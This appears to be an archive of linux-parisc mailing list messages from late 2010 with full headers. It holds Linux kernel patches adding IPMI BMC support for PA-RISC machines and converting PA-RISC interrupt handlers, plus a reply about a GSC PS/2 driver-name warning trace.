On Wed, Nov 24, 2010 at 06:56:42AM -0500, Kyle McMartin wrote:
> On Sun, Nov 14, 2010 at 09:59:59PM +0100, Helge Deller wrote:
> > I just got again a chance to boot up my b160L and 715/64 machines.
> > 
> 
> I got my 712 hooked up (sadly my B180 has lost its hard disk and RTC,
> but I can netboot it if I need to...) and I'll poke at this this
> afternoon.
> 

Haven't had a chance to debug this entirely yet, well, I wrote a patch
to do proper chained handlers and got my B180 reinstalled... Will let
you know tonight.

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.openipmi
Subject: [PATCH] BMC support for PARISC machines
Date: Tue, 30 Nov 2010 23:25:35 +0100 (CET)
Lines: 133
Approved: news@gmane.org
Message-ID: <20101130222535.909F81D4BD@solo.franken.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1291155986 21894 80.91.229.12 (30 Nov 2010 22:26:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 30 Nov 2010 22:26:26 +0000 (UTC)
Cc: minyard@acm.org
To: openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 30 23:26:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PNYeG-0006Wn-KI
	for glpp-linux-parisc@lo.gmane.org; Tue, 30 Nov 2010 23:26:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754403Ab0K3WZ7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Nov 2010 17:25:59 -0500
Original-Received: from elvis.franken.de ([193.175.24.41]:52509 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753907Ab0K3WZ7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Nov 2010 17:25:59 -0500
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1PNYe5-0008LW-00; Tue, 30 Nov 2010 23:25:57 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 909F81D4BD; Tue, 30 Nov 2010 23:25:35 +0100 (CET)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3262 gmane.linux.kernel.openipmi:1844
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3262>

The last line of PARISC machines (C8000, RP34x0, etc.) have a BMC for
controlling temperature, fan speed and other stuff. The BMC is connected
via a special bus and listed in the firmware device tree. This change
adds support for these BMCs to the IPMI driver.

Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
---

 drivers/char/ipmi/ipmi_si_intf.c |   78 ++++++++++++++++++++++++++++++++++++++
 1 files changed, 78 insertions(+), 0 deletions(-)

diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c
index 035da9e..1599a45 100644
--- a/drivers/char/ipmi/ipmi_si_intf.c
+++ b/drivers/char/ipmi/ipmi_si_intf.c
@@ -71,6 +71,11 @@
 #include <linux/of_platform.h>
 #endif
 
+#ifdef CONFIG_PARISC
+#include <asm/hardware.h>	/* for register_parisc_driver() stuff */
+#include <asm/parisc-device.h>
+#endif
+
 #define PFX "ipmi_si: "
 
 /* Measure times between events in the driver. */
@@ -311,6 +316,9 @@ static int pnp_registered;
 #ifdef CONFIG_PPC_OF
 static int of_registered;
 #endif
+#ifdef CONFIG_PARISC
+static int parisc_registered;
+#endif
 
 static unsigned int kipmid_max_busy_us[SI_MAX_PARMS];
 static int num_max_busy_us;
@@ -2648,6 +2656,64 @@ static struct of_platform_driver ipmi_of_platform_driver = {
 };
 #endif /* CONFIG_PPC_OF */
 
+#ifdef CONFIG_PARISC
+static int __devinit ipmi_parisc_probe(struct parisc_device *dev)
+{
+	struct smi_info *info;
+
+	info = kzalloc(sizeof(*info), GFP_KERNEL);
+
+	if (!info) {
+		dev_err(&dev->dev,
+			"could not allocate memory for PARISC probe\n");
+		return -ENOMEM;
+	}
+
+	info->si_type		= SI_KCS;
+	info->addr_source	= SI_DEVICETREE;
+	info->io_setup		= mem_setup;
+	info->io.addr_type	= IPMI_MEM_ADDR_SPACE;
+	info->io.addr_data	= dev->hpa.start;
+	info->io.regsize	= 1;
+	info->io.regspacing	= 1;
+	info->io.regshift	= 0;
+	info->irq		= 0; /* no interrup */
+	info->irq_setup		= NULL;
+	info->dev		= &dev->dev;
+
+	dev_dbg(&dev->dev, "addr 0x%lx regsize %d spacing %d irq %d\n",
+		info->io.addr_data, info->io.regsize, info->io.regspacing,
+		info->irq);
+
+	dev_set_drvdata(&dev->dev, info);
+
+	if (add_smi(info)) {
+		kfree(info);
+		return -EBUSY;
+	}
+
+	return 0;
+}
+
+static int __devexit ipmi_parisc_remove(struct parisc_device *dev)
+{
+	cleanup_one_si(dev_get_drvdata(&dev->dev));
+	return 0;
+}
+
+static struct parisc_device_id ipmi_parisc_tbl[] = {
+	{ HPHW_MC, HVERSION_REV_ANY_ID, 0x004, 0xC0 },
+	{ 0, }
+};
+
+static struct parisc_driver ipmi_parisc_driver = {
+	.name =		"ipmi",
+	.id_table =	ipmi_parisc_tbl,
+	.probe =	ipmi_parisc_probe,
+	.remove =	ipmi_parisc_remove,
+};
+#endif /* CONFIG_PARISC */
+
 static int wait_for_msg_done(struct smi_info *smi_info)
 {
 	enum si_sm_result     smi_result;
@@ -3385,6 +3451,13 @@ static int __devinit init_ipmi_si(void)
 	of_registered = 1;
 #endif
 
+#ifdef CONFIG_PARISC
+	register_parisc_driver(&ipmi_parisc_driver);
+	parisc_registered = 1;
+	/* poking PC IO addresses will crash machine, don't do it */
+	si_trydefaults = 0;
+#endif
+
 	/* We prefer devices with interrupts, but in the case of a machine
 	   with multiple BMCs we assume that there will be several instances
 	   of a given type so if we succeed in registering a type then also
@@ -3444,6 +3517,11 @@ static int __devinit init_ipmi_si(void)
 		if (of_registered)
 			of_unregister_platform_driver(&ipmi_of_platform_driver);
 #endif
+
+#ifdef CONFIG_PARISC
+		if (parisc_registered)
+			unregister_parisc_driver(&ipmi_parisc_driver);
+#endif
 		driver_unregister(&ipmi_driver.driver);
 		printk(KERN_WARNING PFX
 		       "Unable to find any System Interface(s)\n");
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix dino/gsc interrupts
Date: Thu, 02 Dec 2010 17:36:47 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <1291333007.19250.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291333017 19875 80.91.229.12 (2 Dec 2010 23:36:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Dec 2010 23:36:57 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 03 00:36:53 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1POIhp-0002F0-0K
	for glpp-linux-parisc@lo.gmane.org; Fri, 03 Dec 2010 00:36:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757651Ab0LBXgw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Dec 2010 18:36:52 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59301 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756216Ab0LBXgv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Dec 2010 18:36:51 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8C9D58EE0F8
	for <linux-parisc@vger.kernel.org>; Thu,  2 Dec 2010 15:36:49 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ttq99Pe8rWZ7 for <linux-parisc@vger.kernel.org>;
	Thu,  2 Dec 2010 15:36:49 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3ACB98EE0E2
	for <linux-parisc@vger.kernel.org>; Thu,  2 Dec 2010 15:36:49 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3263>

The essential problem we're currently having is that dino (and gsc) is a
cascaded CPU interrupt.  Under the old __do_IRQ() handler, our CPU
interrupts basically did an ack followed by an end.  In the new scheme,
we replaced them with level handlers which do a mask, an ack and then an
unmask (but no end).  Instead, with the renaming of end to eoi, we
actually want to call the percpu flow handlers, because they actually
have all the characteristics we want.

This patch does the conversion and gets my C360 booting again.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>

---

I think we also want to convert the dino and gsc handlers to simpler
flow controllers (the mask/unmask of level is totally unnecessary for
them), but I'll do that later.

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 5024f64..48aa711 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -392,7 +392,7 @@ static void claim_cpu_irqs(void)
 	int i;
 	for (i = CPU_IRQ_BASE; i <= CPU_IRQ_MAX; i++) {
 		set_irq_chip_and_handler(i, &cpu_interrupt_type,
-			handle_level_irq);
+					 handle_percpu_irq);
 	}
 
 	set_irq_handler(TIMER_IRQ, handle_percpu_irq);


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: convert the rest of the irq handlers to
 simple/percpu
Date: Thu, 02 Dec 2010 20:01:05 -0600
Lines: 143
Approved: news@gmane.org
Message-ID: <1291341665.25796.2.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291341677 10289 80.91.229.12 (3 Dec 2010 02:01:17 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 3 Dec 2010 02:01:17 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 03 03:01:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1POKxS-0005I0-W9
	for glpp-linux-parisc@lo.gmane.org; Fri, 03 Dec 2010 03:01:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758318Ab0LCCBK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Dec 2010 21:01:10 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52010 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758299Ab0LCCBJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Dec 2010 21:01:09 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DA4128EE0F8
	for <linux-parisc@vger.kernel.org>; Thu,  2 Dec 2010 18:01:08 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9RyB1Q7WflGT for <linux-parisc@vger.kernel.org>;
	Thu,  2 Dec 2010 18:01:08 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 81EA58EE0E2
	for <linux-parisc@vger.kernel.org>; Thu,  2 Dec 2010 18:01:08 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3264>

The generic conversion eliminates the spurious no_ack and no_end
routines, converts all the cascaded handlers to handle_simple_irq() and
makes iosapic use a modified handle_percpu_irq() to become the same as
the CPU irq's.  This isn't an essential change, but it eliminates the
mask/unmask overhead of handle_level_irq().

Signed-off-by: James Bottomley <James.Bottomley@suse.de>

---

Tested on raven and pa8800

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 5024f64..ca0730b 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -75,9 +75,6 @@ static void cpu_unmask_irq(unsigned int irq)
 	smp_send_all_nop();
 }
 
-void no_ack_irq(unsigned int irq) { }
-void no_end_irq(unsigned int irq) { }
-
 void cpu_ack_irq(unsigned int irq)
 {
 	unsigned long mask = EIEM_MASK(irq);
@@ -241,7 +238,7 @@ int cpu_claim_irq(unsigned int irq, struct irq_chip *type, void *data)
 
 	/* for iosapic interrupts */
 	if (type) {
-		set_irq_chip_and_handler(irq, type, handle_level_irq);
+		set_irq_chip_and_handler(irq, type, handle_percpu_irq);
 		set_irq_chip_data(irq, data);
 		cpu_unmask_irq(irq);
 	}
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index d9f5148..9383063 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -349,7 +349,6 @@ static struct irq_chip dino_interrupt_type = {
 	.name	= "GSC-PCI",
 	.unmask	= dino_unmask_irq,
 	.mask	= dino_mask_irq,
-	.ack	= no_ack_irq,
 };
 
 
diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index 1211974..e860038 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -186,7 +186,6 @@ static struct irq_chip eisa_interrupt_type = {
 	.name	=	"EISA",
 	.unmask	=	eisa_unmask_irq,
 	.mask	=	eisa_mask_irq,
-	.ack	=	no_ack_irq,
 };
 
 static irqreturn_t eisa_irq(int wax_irq, void *intr_dev)
@@ -340,7 +339,7 @@ static int __init eisa_probe(struct parisc_device *dev)
 	setup_irq(2, &irq2_action);
 	for (i = 0; i < 16; i++) {
 		set_irq_chip_and_handler(i, &eisa_interrupt_type,
-			handle_level_irq);
+					 handle_simple_irq);
 	}
 	
 	EISA_bus = 1;
diff --git a/drivers/parisc/gsc.c b/drivers/parisc/gsc.c
index e605298..772b193 100644
--- a/drivers/parisc/gsc.c
+++ b/drivers/parisc/gsc.c
@@ -143,7 +143,6 @@ static struct irq_chip gsc_asic_interrupt_type = {
 	.name	=	"GSC-ASIC",
 	.unmask	=	gsc_asic_unmask_irq,
 	.mask	=	gsc_asic_mask_irq,
-	.ack	=	no_ack_irq,
 };
 
 int gsc_assign_irq(struct irq_chip *type, void *data)
@@ -153,7 +152,7 @@ int gsc_assign_irq(struct irq_chip *type, void *data)
 	if (irq > GSC_IRQ_MAX)
 		return NO_IRQ;
 
-	set_irq_chip_and_handler(irq, type, handle_level_irq);
+	set_irq_chip_and_handler(irq, type, handle_simple_irq);
 	set_irq_chip_data(irq, data);
 
 	return irq++;
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index a3120a0..0327894 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -669,6 +669,13 @@ printk("\n");
 	DBG(KERN_DEBUG "enable_irq(%d): eoi(%p, 0x%x)\n", irq,
 			vi->eoi_addr, vi->eoi_data);
 	iosapic_eoi(vi->eoi_addr, vi->eoi_data);
+}
+
+static void iosapic_eoi_irq(unsigned int irq)
+{
+	struct vector_info *vi = get_irq_chip_data(irq);
+
+	iosapic_eoi(vi->eoi_addr, vi->eoi_data);
 	cpu_eoi_irq(irq);
 }
 
@@ -705,6 +712,7 @@ static struct irq_chip iosapic_interrupt_type = {
 	.unmask	=	iosapic_unmask_irq,
 	.mask	=	iosapic_mask_irq,
 	.ack	=	cpu_ack_irq,
+	.eoi	=	iosapic_eoi_irq,
 #ifdef CONFIG_SMP
 	.set_affinity =	iosapic_set_affinity_irq,
 #endif
diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 0846daf..2824153 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -323,7 +323,6 @@ static struct irq_chip superio_interrupt_type = {
 	.name	=	SUPERIO,
 	.unmask	=	superio_unmask_irq,
 	.mask	=	superio_mask_irq,
-	.ack =		no_ack_irq,
 };
 
 #ifdef DEBUG_SUPERIO_INIT
@@ -354,7 +353,7 @@ int superio_fixup_irq(struct pci_dev *pcidev)
 #endif
 
 	for (i = 0; i < 16; i++) {
-		set_irq_chip_and_handler(i, &superio_interrupt_type, handle_level_irq);
+		set_irq_chip_and_handler(i, &superio_interrupt_type, handle_simple_irq);
 	}
 
 	/*


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc : Fix GSC PS/2 driver name for keyboard and mouse
Date: Fri, 03 Dec 2010 22:25:37 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <4CF96051.60008@gmx.de>
References: <20101102162308.6dbe1cbf@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291411547 8337 80.91.229.12 (3 Dec 2010 21:25:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 3 Dec 2010 21:25:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 03 22:25:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1POd8Q-0004fj-Mt
	for glpp-linux-parisc@lo.gmane.org; Fri, 03 Dec 2010 22:25:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752659Ab0LCVZm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Dec 2010 16:25:42 -0500
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:40312 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1750837Ab0LCVZl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Dec 2010 16:25:41 -0500
Original-Received: (qmail invoked by alias); 03 Dec 2010 21:25:38 -0000
Original-Received: from p54AD16A0.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.22.160]
  by mail.gmx.net (mp064) with SMTP; 03 Dec 2010 22:25:38 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18b5jcv2XkbPpPTpDKnEhTV9imYt/YL2U+1hgoPZR
	GhhuPmqN9bljNc
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101103 Fedora/1.0-0.33.b2pre.fc13 Lightning/1.0b3pre Thunderbird/3.1.6
In-Reply-To: <20101102162308.6dbe1cbf@borg.bxl.tuxicoman.be>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3265>

On 11/02/2010 04:23 PM, Guy Martin wrote:
> Fix kernel warnings caused by the driver name of GSC PS/2 containing '/'.
>
> The following warnings are observed on a K410 system :
>
> [   10.700000] name 'GSC PS/2 keyboard'
> [   10.732000] ------------[ cut here ]------------
> [   10.772000] WARNING: at fs/proc/generic.c:323
> [   10.828000] Modules linked in:
> [   10.916000]
> [   10.916000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   10.936000] PSW: 00000000000001000000000000001111 Not tainted
> [   10.992000] r00-03  0004000f 104fe3e0 10201ea0 00000000
> [   11.060000] r04-07  4fc405c8 00000006 4fc405c8 4fc40694
> [   11.124000] r08-11  4fc40708 10438aa0 00000001 1043bfc8
> [   11.184000] r12-15  104ff2a0 104ff2a0 4fc38634 104ff2a0
> [   11.248000] r16-19  f0001570 10479af0 f000006c 1044fe50
> [   11.308000] r20-23  00000000 00000028 104cd858 00000000
> [   11.372000] r24-27  ffffffff 0000000e 1044fe10 1043bbe0
> [   11.436000] r28-31  0000002b 00000078 4fc40800 0000000d
> [   11.496000] sr00-03  00000000 00000000 00000000 00000000
> [   11.560000] sr04-07  00000000 00000000 00000000 00000000
> [   11.624000]
> [   11.688000] IASQ: 00000000 00000000 IAOQ: 10201ea0 10201ea4
> [   11.704000]  IIR: 03ffe01f    ISR: 00000000  IOR: 0000000d
> [   11.772000]  CPU:        0   CR30: 4fc40000 CR31: f01043b0
> [   11.836000]  ORIG_R28: 4fc40940
> [   11.904000]  IAOQ[0]: __xlate_proc_name+0x90/0xd0
> [   11.940000]  IAOQ[1]: __xlate_proc_name+0x94/0xd0
> [   11.996000]  RP(r2): __xlate_proc_name+0x90/0xd0
> [   12.052000] Backtrace:
> [   12.108000]  [<10257790>] vsnprintf+0x290/0x4f4
> [   12.136000]
> [   12.188000] ---[ end trace 91bf6ece17e322dd ]---
> [   12.208000] serio: GSC PS/2 keyboard port at 0x0001c000 irq 19 @ 10:12:7
> [   12.264000] name 'GSC PS/2 mouse'
> [   12.344000] ------------[ cut here ]------------
> [   12.384000] WARNING: at fs/proc/generic.c:323
> [   12.436000] Modules linked in:
> [   12.524000]
> [   12.528000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   12.544000] PSW: 00000000000001000000000000001111 Tainted: G        W
> [   12.600000] r00-03  0004000f 104fe3e0 10201ea0 00000000
> [   12.680000] r04-07  4fc405c8 00000006 4fc405c8 4fc40694
> [   12.740000] r08-11  4fc40708 10438aa0 00000001 1043bfc8
> [   12.804000] r12-15  104ff2a0 104ff2a0 4fc38634 104ff2a0
> [   12.868000] r16-19  f0001570 10479af0 f000006c 1044fe50
> [   12.928000] r20-23  00000000 00000025 104cd858 00000000
> [   12.992000] r24-27  ffffffff 0000000e 1044fe10 1043bbe0
> [   13.056000] r28-31  00000028 00000078 4fc40800 0000000d
> [   13.116000] sr00-03  00000000 00000000 00000000 00000000
> [   13.180000] sr04-07  00000000 00000000 00000000 00000000
> [   13.244000]
> [   13.308000] IASQ: 00000000 00000000 IAOQ: 10201ea0 10201ea4
> [   13.324000]  IIR: 03ffe01f    ISR: 00000000  IOR: 0000000d
> [   13.392000]  CPU:        0   CR30: 4fc40000 CR31: f01043b0
> [   13.456000]  ORIG_R28: 4fc40940
> [   13.524000]  IAOQ[0]: __xlate_proc_name+0x90/0xd0
> [   13.560000]  IAOQ[1]: __xlate_proc_name+0x94/0xd0
> [   13.616000]  RP(r2): __xlate_proc_name+0x90/0xd0
> [   13.672000] Backtrace:
> [   13.728000]  [<10257790>] vsnprintf+0x290/0x4f4
> [   13.756000]
> [   13.808000] ---[ end trace 91bf6ece17e322de ]---
> [   13.828000] serio: GSC PS/2 mouse port at 0x00020100 irq 19 @ 10:12:8
>
>
> Signed-off-by: Guy Martin<gmsoft@tuxicoman.be>

Hi Guy,

can you please send this patch to  Dmitry Torokhov 
<dmitry.torokhov@gmail.com> and
linux-input@vger.kernel.org to (hopefully) get it included into 2.6.37 ?
I think this is an important patch...

You may add an
Acked-by: Helge Deller <deller@gmx.de>

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert the rest of the irq handlers to simple/percpu
Date: Fri, 03 Dec 2010 22:27:49 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <4CF960D5.9000700@gmx.de>
References: <1291341665.25796.2.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291411691 8905 80.91.229.12 (3 Dec 2010 21:28:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 3 Dec 2010 21:28:11 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 03 22:28:06 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1POdAi-0005we-De
	for glpp-linux-parisc@lo.gmane.org; Fri, 03 Dec 2010 22:28:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754116Ab0LCV1w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Dec 2010 16:27:52 -0500
Original-Received: from mailout-de.gmx.net ([213.165.64.22]:33699 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1753995Ab0LCV1w (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Dec 2010 16:27:52 -0500
Original-Received: (qmail invoked by alias); 03 Dec 2010 21:27:50 -0000
Original-Received: from p54AD16A0.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.22.160]
  by mail.gmx.net (mp048) with SMTP; 03 Dec 2010 22:27:50 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/wRjdTLcfwfsxrEfhaP9K4/Wuxhaa7eGTqaW1lan
	SHZtysewGkqeEl
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101103 Fedora/1.0-0.33.b2pre.fc13 Lightning/1.0b3pre Thunderbird/3.1.6
In-Reply-To: <1291341665.25796.2.camel@mulgrave.site>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3266
